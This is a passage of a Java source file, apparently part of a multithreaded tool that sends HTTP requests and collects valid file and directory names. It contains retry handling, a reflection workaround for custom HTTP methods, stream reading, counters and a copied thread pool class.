System.out.println("HTTPReqResponse() - Increase your port binding range to get better result -> Wait for 1 seconds..."); 1298 | } 1299 | Thread.sleep(1000); 1300 | } catch (Exception err) { 1301 | if (debugMode) { 1302 | err.printStackTrace(); 1303 | } 1304 | } 1305 | finalResponse = HTTPReqResponse(strAddition, retryTimes); 1306 | } catch (Exception err) { 1307 | if (conn != null) { 1308 | conn.disconnect(); 1309 | } 1310 | retryTimes++; 1311 | if (debugMode) { 1312 | err.printStackTrace(); 1313 | } 1314 | if (showProgress == 2 || debugMode) { 1315 | System.out.println("HTTPReqResponse() - Retry: " + Integer.toString(retryTimes)); 1316 | } 1317 | 1318 | if (retryTimes < maxRetryTimes) { 1319 | finalResponse = HTTPReqResponse(strAddition, retryTimes); 1320 | } 1321 | } 1322 | 1323 | return finalResponse; 1324 | } 1325 | 1326 | // To use customised HTTP methods: https://java.net/jira/browse/JERSEY-639 1327 | private static final void setRequestMethodUsingWorkaroundForJREBug( 1328 | final HttpURLConnection httpURLConnection, final String method) { 1329 | try { 1330 | httpURLConnection.setRequestMethod(method); 1331 | // Check whether we are running on a buggy JRE 1332 | } catch (final ProtocolException pe) { 1333 | Class connectionClass = httpURLConnection.getClass(); 1334 | Field delegateField = null; 1335 | try { 1336 | delegateField = connectionClass.getDeclaredField("delegate"); 1337 | delegateField.setAccessible(true); 1338 | HttpURLConnection delegateConnection = (HttpURLConnection) delegateField 1339 | .get(httpURLConnection); 1340 | setRequestMethodUsingWorkaroundForJREBug(delegateConnection, method); 1341 | } catch (NoSuchFieldException e) { 1342 | // Ignore for now, keep going 1343 | } catch (IllegalArgumentException e) { 1344 | throw new RuntimeException(e); 1345 | } catch (IllegalAccessException e) { 1346 | throw new RuntimeException(e); 1347 | } 1348 | try { 1349 | Field methodField; 1350 | while (connectionClass != null) { 1351 | try { 1352 | methodField = connectionClass.getDeclaredField("method"); 1353 | } catch (NoSuchFieldException e) { 1354 | connectionClass = connectionClass.getSuperclass(); 1355 | continue; 1356 | } 1357 | methodField.setAccessible(true); 1358 | methodField.set(httpURLConnection, method); 1359 | break; 1360 | } 1361 | } catch (final Exception e) { 1362 | throw new RuntimeException(e); 1363 | } 1364 | } 1365 | } 1366 | 1367 | private Object readStream(int length, java.io.InputStream stream, String charset) 1368 | throws java.io.IOException { 1369 | final int buflen = Math.max(1024, Math.max(length, stream.available())); 1370 | byte[] buf = new byte[buflen]; 1371 | byte[] bytes = null; 1372 | 1373 | for (int nRead = stream.read(buf); nRead != -1; nRead = stream.read(buf)) { 1374 | if (bytes == null) { 1375 | bytes = buf; 1376 | buf = new byte[buflen]; 1377 | continue; 1378 | } 1379 | final byte[] newBytes = new byte[bytes.length + nRead]; 1380 | System.arraycopy(bytes, 0, newBytes, 0, bytes.length); 1381 | System.arraycopy(buf, 0, newBytes, bytes.length, nRead); 1382 | bytes = newBytes; 1383 | } 1384 | 1385 | if (charset == null) { 1386 | return bytes; 1387 | } 1388 | 1389 | if(bytes!=null){ 1390 | try { 1391 | return new String(bytes, charset); 1392 | } catch (java.io.UnsupportedEncodingException e) { 1393 | 1394 | } 1395 | } 1396 | return bytes; 1397 | } 1398 | 1399 | private synchronized void addValidFileToResults(String strInput) { 1400 | finalResultsFiles.add(strInput); 1401 | } 1402 | 1403 | private synchronized void addValidDirToResults(String strInput) { 1404 | finalResultsDirs.add(strInput); 1405 | } 1406 | 1407 | private synchronized void incThreadCounter(int num) { 1408 | threadCounter += num; 1409 | } 1410 | 1411 | private synchronized void decThreadCounter(int num) { 1412 | threadCounter -= num; 1413 | if (threadCounter <= 0) { 1414 | threadCounter = 0; 1415 | } 1416 | } 1417 | 1418 | private synchronized void incReqCounter(int num) { 1419 | reqCounter += num; 1420 | } 1421 | 1422 | private synchronized long getReqCounter() { 1423 | return reqCounter; 1424 | } 1425 | 1426 | private boolean isInteger(String input) 1427 | { 1428 | try 1429 | { 1430 | Integer.parseInt( input ); 1431 | return true; 1432 | } 1433 | catch(Exception e) 1434 | { 1435 | return false; 1436 | } 1437 | } 1438 | 1439 | private boolean isLong(String input) 1440 | { 1441 | try 1442 | { 1443 | Long.parseLong( input ); 1444 | return true; 1445 | } 1446 | catch(Exception e) 1447 | { 1448 | return false; 1449 | } 1450 | } 1451 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 1452 | // Copied from: http://www.edparrish.com/cis160/06s/examples/ThreadPool.java 1453 | // Or: http://stackoverflow.com/questions/9700066/how-to-send-data-form-socket-to-serversocket-in-android 1454 | /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 1455 | static class ThreadPool extends ThreadGroup { 1456 | 1457 | private boolean isAlive; 1458 | private LinkedList taskQueue; 1459 | private int threadID; 1460 | private static int threadPoolID; 1461 | 1462 | /** 1463 | * Creates a new ThreadPool. 1464 | * 1465 | * @param numThreads 1466 | * The number of threads in the pool. 1467 | */ 1468 | public ThreadPool(int numThreads) { 1469 | super("ThreadPool-" + (threadPoolID++)); 1470 | setDaemon(true); 1471 | 1472 | isAlive = true; 1473 | 1474 | taskQueue = new LinkedList(); 1475 | for (int i = 0; i < numThreads; i++) { 1476 | new PooledThread().start(); 1477 | } 1478 | } 1479 | 1480 | /** 1481 | * Requests a new task to run. This method returns immediately, and the task 1482 | * executes on the next available idle thread in this ThreadPool. 1483 | *

1484 | * Tasks start execution in the order they are received. 1485 | * 1486 | * @param task 1487 | * The task to run. If null, no action is taken. 1488 | * @throws IllegalStateException 1489 | * if this ThreadPool is already closed. 1490 | */ 1491 | public synchronized void runTask(Runnable task) { 1492 | if (!isAlive) { 1493 | throw new IllegalStateException(); 1494 | } 1495 | if (task != null) { 1496 | taskQueue.add(task); 1497 | notify(); 1498 | } 1499 | 1500 | } 1501 | 1502 | protected synchronized Runnable getTask() throws InterruptedException { 1503 | while (taskQueue.size() == 0) { 1504 | if (!isAlive) { 1505 | return null; 1506 | } 1507 | wait(); 1508 | } 1509 | return (Runnable) taskQueue.removeFirst(); 1510 | } 1511 | 1512 | /** 1513 | * Closes this ThreadPool and returns immediately. All threads are stopped, 1514 | * and any waiting tasks are not executed. Once a ThreadPool is closed, no 1515 | * more tasks can be run on this ThreadPool. 1516 | */ 1517 | public synchronized void close() { 1518 | if (isAlive) { 1519 | isAlive = false; 1520 | taskQueue.clear(); 1521 | interrupt(); 1522 | } 1523 | } 1524 | 1525 | /** 1526 | * Closes this ThreadPool and waits for all running threads to finish. Any 1527 | * waiting tasks are executed. 1528 | */ 1529 | public void join() { 1530 | // notify all waiting threads that this ThreadPool is no 1531 | // longer alive 1532 | synchronized (this) { 1533 | isAlive = false; 1534 | notifyAll(); 1535 | } 1536 | 1537 | // wait for all threads to finish 1538 | Thread[] threads = new Thread[activeCount()]; 1539 | int count = enumerate(threads); 1540 | for (int i = 0; i < count; i++) { 1541 | try { 1542 | threads[i].join(); 1543 | } catch (InterruptedException ex) { 1544 | } 1545 | } 1546 | } 1547 | 1548 | /** 1549 | * A PooledThread is a Thread in a ThreadPool group, designed to run tasks 1550 | * (Runnables). 1551 | */ 1552 | private class PooledThread extends Thread { 1553 | 1554 | public PooledThread() { 1555 | super(ThreadPool.this, "PooledThread-" + (threadID++)); 1556 | } 1557 | 1558 | public void run() { 1559 | while (!isInterrupted()) { 1560 | 1561 | // get a task to run 1562 | Runnable task = null; 1563 | try { 1564 | task = getTask(); 1565 | } catch (InterruptedException ex) { 1566 | } 1567 | 1568 | // if getTask() returned null or was interrupted, 1569 | // close this thread by returning. 1570 | if (task == null) { 1571 | return; 1572 | } 1573 | 1574 | // run the task, and eat any exceptions it throws 1575 | try { 1576 | task.run(); 1577 | } catch (Throwable t) { 1578 | uncaughtException(this, t); 1579 | } 1580 | } 1581 | } 1582 | } 1583 | } 1584 | } 1585 | --------------------------------------------------------------------------------